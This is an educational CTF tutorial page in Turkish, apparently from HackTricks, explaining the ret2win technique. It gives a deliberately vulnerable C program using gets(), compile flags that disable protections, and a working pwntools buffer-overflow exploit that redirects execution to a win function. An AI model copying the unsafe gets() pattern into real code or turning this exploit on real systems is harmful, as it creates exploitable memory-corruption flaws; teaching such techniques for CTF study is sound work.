5.7 KiB
Ret2win
{{#include ../../../banners/hacktricks-training.md}}
Temel Bilgiler
Ret2win zorlukları, özellikle binary exploitation içeren görevlerde, Capture The Flag (CTF) yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyada bir açığı kullanarak, genellikle win
, flag
gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığında return address'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler:
C Örneği
Bir açığı olan basit bir C programını ve çağırmayı amaçladığımız win
fonksiyonunu düşünün:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Bu programı yığın korumaları olmadan ve ASLR devre dışı bırakılmış olarak derlemek için aşağıdaki komutu kullanabilirsiniz:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Programı 32-bit ikili olarak derle (bu isteğe bağlıdır ama CTF yarışmalarında yaygındır).-fno-stack-protector
: Yığın taşmalarına karşı korumaları devre dışı bırak.-z execstack
: Yığında kodun çalışmasına izin ver.-no-pie
:win
fonksiyonunun adresinin değişmemesini sağlamak için Konum Bağımsız İkiliyi devre dışı bırak.-o vulnerable
: Çıktı dosyasının adınıvulnerable
olarak belirle.
Python Exploit using Pwntools
Exploit için pwntools kullanacağız, bu güçlü bir CTF çerçevesidir ve exploit yazmak için kullanılır. Exploit betiği, tamponu taşırmak ve dönüş adresini win
fonksiyonunun adresi ile değiştirmek için bir yük oluşturacaktır.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
win
fonksiyonunun adresini bulmak için gdb, objdump veya ikili dosyaları incelemenizi sağlayan başka bir araç kullanabilirsiniz. Örneğin, objdump
ile şunu kullanabilirsiniz:
objdump -d vulnerable | grep win
Bu komut, win
fonksiyonunun montajını, başlangıç adresi de dahil olmak üzere gösterecektir.
Python betiği, vulnerable_function
tarafından işlendiğinde, tamponu taşıran ve yığın üzerindeki dönüş adresini win
adresi ile değiştiren dikkatlice hazırlanmış bir mesaj gönderir. vulnerable_function
döndüğünde, main
'e veya çıkışa dönmek yerine win
'e atlar ve mesaj yazdırılır.
Koruma Önlemleri
- PIE devre dışı bırakılmalıdır ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmayacak ve
win
fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. Bazı durumlarda, taşmaya neden olan fonksiyonread
veya benzeri olduğunda, dönüş adresiniwin
fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık Kısmi Üst Yazma yapabilirsiniz. ASLR'nin çalışma şekli nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı 1/16 (1 nibble) olacaktır. - Yığın Kanalları da devre dışı bırakılmalıdır, aksi takdirde tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir.
Diğer örnekler & Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32bit, ASLR yok
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bit ASLR ile, bin adresinin sızıntısı ile
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bit, ASLR yok
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bit, ASLR yok, çift küçük taşma, ilk olarak yığını taşır ve ikinci taşmanın boyutunu büyütür
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, kanarya yok, nx, pie yok,
fflush
adresiniwin
fonksiyonu ile (ret2win) üst yazmak için format dizesi - https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bit, relro, kanarya yok, nx, pie.
win
fonksiyonunu çağırmak için kısmi üst yazma (ret2win)
{{#include ../../../banners/hacktricks-training.md}}